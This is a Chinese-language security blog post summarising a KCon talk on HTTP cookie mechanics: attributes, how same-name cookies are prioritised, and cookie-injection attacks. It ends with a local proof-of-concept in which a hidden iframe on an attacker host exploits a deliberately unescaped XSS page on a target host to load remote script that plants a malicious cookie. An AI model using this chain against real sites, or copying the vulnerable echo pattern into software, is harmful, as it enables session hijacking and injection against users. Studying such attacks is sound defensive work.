0x00 前言
早些時候在gayhub翻安全大會的paper，翻到了kcon的一些paper。
https://github.com/knownsec/KCon
從前輩們的paper中學到了不少，也產生了不少疑問。
這篇文章是對kcon 2015年清華大學網絡安全實驗室走馬前輩的《cookie之困》（https://github.com/knownsec/KCon/blob/master/2015/Cookie%20%E4%B9%8B%E5%9B%B0.pdf）所引發的一些總結和思考。
走馬前輩從中間人的攻擊角度給出了很多例子，對cookie的各個特性，場景應用研究的非常徹底。
向前輩們致敬！！
0x02 cookie的用途
因為HTTP協議是無狀態的，即服務器不知道用戶上一次做了什么，這嚴重阻礙了交互式Web應用程序的實現。在典型的網上購物場景中，用戶瀏覽了幾個頁面，買了一盒餅干和兩瓶飲料。最后結帳時，由於HTTP的無狀態性，不通過額外的手段，服務器並不知道用戶到底買了什么。 所以Cookie就是用來繞開HTTP的無狀態性的“額外手段”之一。服務器可以設置或讀取Cookies中包含信息，借此維護用戶跟服務器會話中的狀態。
在剛才的購物場景中，當用戶選購了第一項商品，服務器在向用戶發送網頁的同時，還發送了一段Cookie，記錄着那項商品的信息。當用戶訪問另一個頁面，瀏覽器會把Cookie發送給服務器，於是服務器知道他之前選購了什么。用戶繼續選購飲料，服務器就在原來那段Cookie里追加新的商品信息。結帳時，服務器讀取發送來的Cookie就行了。
Cookie另一個典型的應用是當登錄一個網站時，網站往往會請求用戶輸入用戶名和密碼，並且用戶可以勾選“下次自動登錄”。如果勾選了，那么下次訪問同一網站時，用戶會發現沒輸入用戶名和密碼就已經登錄了。這正是因為前一次登錄時，服務器發送了包含登錄憑據（用戶名加密碼的某種加密形式）的Cookie到用戶的硬盤上。第二次登錄時，（如果該Cookie尚未到期）瀏覽器會發送該Cookie，服務器驗證憑據，於是不必輸入用戶名和密碼就讓用戶登錄了。
（來源於wiki）
0x03 cookie的分類
根據時效的分類，cookie一般分為臨時cookie和永久cookie。
1，臨時cookie，存儲在內存中，關閉了瀏覽器，cookie也就失效了。不設置時效，默認為臨時cookie。
2，永久cookie，存儲在硬盤中，根據expires/Max-Age設置的時效來存儲，到期了才會失效。
0x04 cookie的屬性
根據rfc 6265標准，cookie擁有以下幾個個屬性。
1，name=value
name=value，就是我們平常設置的cookie鍵值對，瀏覽器傳輸給服務器的時候也是傳輸這個鍵值對。
2，expires：絕對過期時間
如果這個屬性的值不能被轉換為日期，客戶端會忽略該屬性。當同一個cookie兩次請求的expires值不相同時，新的可能會替換舊的。
3，Max-Age：相對過期時間,以秒為單位。
如果該屬性的值不是數字，客戶端將不做處理。
4，path：指定了與cookie關聯在一起的網頁。
默認情況下，cookie會和創建它的網頁以及與這個網頁處於同一個目錄下的網頁和處於該目錄的子目錄下的網頁關聯，同時不能用這個屬性來確定安全性
5，domain：如果沒有設置cookie的domain值，該屬性的默認值就是創建cookie的網頁所在的服務器的主機名
6，secure：它指定了在網絡上如何傳輸cookie值。
默認情況下，cookie是不安全的，也就是說，他們是通過一個普通的、不安全的http鏈接傳輸的。但是如果將cookie標記為安全的，那么它將只在瀏覽器和服務器通過https或其他安全協議鏈接是才被傳輸。這個屬性只能保證cookie是保密的。
7，httponly
設為true后，只能通過http訪問，不能通過document.cookie獲取設定為httponly的鍵值,防止xss讀取cookie。
由於cookie是存放在客戶端（瀏覽器）的，所以具有寫時帶屬性，讀時無屬性的特性。
舉個栗子：
服務端：Set-Cookie: user=r00tuser;domain=.cnblogs.com;path=/;
傳輸：Cookie:user=r00tuser;
0x05 如何設置cookie
有兩種方式。
1，服務端
比如用php設置cookie，在taobao.com上設置一個1小時候后過期的cookie，鍵值對為test=test。
<?php setcookie("test", "test", time()+3600, "/", ".taobao.com"); ?>
2，js 設置一個1天后過期的cookie。
<script>var Days = 1; var exp = new Date(); exp.setTime(exp.getTime() + Days*24*60*60*1000); document.cookie='test=test;expires='+exp.toGMTString()+";domain=.taobao.com;path='/';"; </script>
cookie通過【name,doamin,path】來確定其唯一性，倘若三個屬性都一樣方為同一個cookie。
0x06 cookie的一些基礎“特性”
引用走馬前輩的幾張圖：
0x07 cookie的一些問題
1，同名
當cookie遇到同名！
為什么會遇到同名呢？這就和cookie的機制有關了（寫時帶屬性，讀時無屬性）。
假若遇到下面這種情況就會產生同名了，
服務端代碼如下：
<?php setcookie("test", 'test1', time()+3600, "/", ".a.com"); setcookie("test", 'test2', time()+3600, "/", "www.a.com"); ?>
就會產生這樣的cookie，兩個同名的cookie，但其實它們是不同的。因為cookie的唯一性是由[name,domain,path]來決定的，雖然name是一致的，但是其他的不一樣。
當遇到同名的時候，后端應該怎么處理呢？
rfc是這么規定的：
也就是說沒有標准。其實這里還有一個問題，瀏覽器傳輸同名cookie時，出現的先后順序是怎么規定的呢？（后面會講到）
那么就看大伙怎么實現了。
而這個優先級順序就曾導致了不少問題。像是p神的這個例子.
知乎某處XSS+刷粉超詳細漏洞技術分析(https://www.leavesongs.com/HTML/zhihu-xss-worm.html)
p神這里利用的就是服務器Server對於cookie處理的優先級問題。
因為這里用的是python，所以取的是后者。如果后端用的是php，那么取的就是前者了。
如果后端用的是php，那么這個時候，我們要怎么辦呢？有沒有什么辦法改變我們cookie的優先級？
0x08 cookie的優先級
根據rfc文檔
1，通過修改path。
比如這樣的一個頁面:http://a.com/sites/index.php?id=1
server 返回的cookie是這樣子的：Set-Cookie:user=r00tuser;domain=.a.com;path=/;
那么我們就可以設置這樣的cookie：Set-Cookie:user=attacker;domain=.a.com;path=/sites/;
本地測試一下，后端php代碼：
<?php setcookie("user", 'r00tuser', time()+3600, "/", ".a.com"); setcookie("user", 'attack', time()+3600, "/sites/", "www.a.com"); ?>
傳輸順序：
2，同path的情況下，通過創建時間修改優先級。
這個應該是沒有辦法的，因為后端創建肯定會比用js創建的快。
走馬前輩的是在中間人攻擊的場景下才有效。
但其實有path這個已經足以。
0x09 cookie的攻擊與利用
在《cookie之困》paper中走馬前輩列舉了很多場景和例子。
比如https下，HSTS下應該如何利用與繞過。
https下可以通過secure覆蓋cookie。
造成的問題有：
1，注入造成的xss。
源於對cookie的盲目相信，認為cookie都是后端傳過來的。
比如我在某src也是發現了一個盲目相信cookie的問題，也正是因為這個，才會引出后面對cookie的研究。
2，注入替換session，https頁面並非一個頁面，多個頁面拼湊而成。
走馬前輩在pdf里面講了很多，舉了不少例子。
比如京東的
比如gmail的
還有某銀行的。。
3，面對HSTS的407注入攻擊（不是很懂）
找到了篇文章（http://blog.csdn.net/yanghuan313/article/details/53001332）
還有道哥的，但道哥的圖掛掉了（http://blog.chinaunix.net/uid-27070210-id-3254743.html）
4，通用性攻擊等
哪天出了個0day的時候，我們就可以利用domain，path精確控制攻擊點，進行批量攻擊了。
5，穿越時間的炸彈
設置一個永久的cookie，控制好domain與path，就能達到穿越時間的效果了。這個雷埋下了，就看什么是被人踩到了。
具體還請查看走馬前輩的paper。
以上，是基於走馬前輩的一些總結。
0x10 cookie攻擊之遠程種植惡意cookie。
前輩的攻擊場景是基於中間人的，那么我們有沒有什么辦法遠程攻擊?
比如說達到用戶瀏覽了惡意網站就種下惡意cookie的效果。
根據rfc 6265的標准
以www.domain.com為例，H 為www，D為.domain.com
4.3.2 Rejecting Cookies To prevent possible security or privacy violations, a user agent rejects a cookie (shall not store its information) if any of the following is true: * The value for the Path attribute is not a prefix of the request- URI. PATH屬性的值不是請求URI的前綴。（意思是path必須是當前請求url的一個前綴，比如path=/ url=/sites/） * The value for the Domain attribute contains no embedded dots or does not start with a dot. 域屬性的值不包含嵌入的點或不以點開頭。（意思是必須包含嵌入的.或者以.開頭） * The value for the request-host does not domain-match the Domain attribute. （請求主機的值與域屬性不匹配。） * The request-host is a FQDN (not IP address) and has the form HD, where D is the value of the Domain attribute, and H is a string that contains one or more dots. （大概意思是標准域名中，頭部包含了一個或者多個.） Examples: * A Set-Cookie from request-host y.x.foo.com for Domain=.foo.com would be rejected, because H is y.x and contains a dot.
（如果請求設置cookie domain=.foo.com 的主機是y.x.foo.com是會被拒絕的，因為頭部y.x包含了一個.）
1，直接通過attacker.com設置target.com的cookie？
rfc文檔第三條教你做人，實驗發現確實是不行的。（無論是通過js或者服務端來設置都是不行的）
2，滲透下target.com下的子域站點
可行，但成本高
3，找到子域或者目標域的xss（flash）
可行，成本相對會低一點
攻擊鏈應該是這樣子的：（以反射xss為例）
本地實踐了一下：
a.com 為 attacker
b.com:88 為target.com
a.com目錄下的文件為
evil.php代碼
<html>
<iframe src="http://www.b.com:88/xss.php？id=http://www.a.com/evil.js" style="display:none" width="0" height="0"></iframe>>
</html>
evil.js
var Days = 1; var exp = new Date(); exp.setTime(exp.getTime() + Days*24*60*60*1000); document.cookie='test=setcookie from a.com by js;expires='+exp.toGMTString()+";domain=.b.com;path='/';";
b.com目錄下的文件為：
xss.php代碼
<html>
<head>
<title>evil cookie xss</title>
</head>
<body>
<script src="<?php echo $_GET['id'];?>">
</script>
</html>
訪問一下a.com/evil.php,成功種下cookie。
burp記錄了整個過程
其實本來xss就能玩cookie。。。這里只是從cookie注入的角度去思考！
。。。
攻擊方法應該還有很多，希望大佬們能夠給出更多的意見。
0x11 總結
向前輩致敬！緊跟大佬們的腳本，多看看rfc文檔~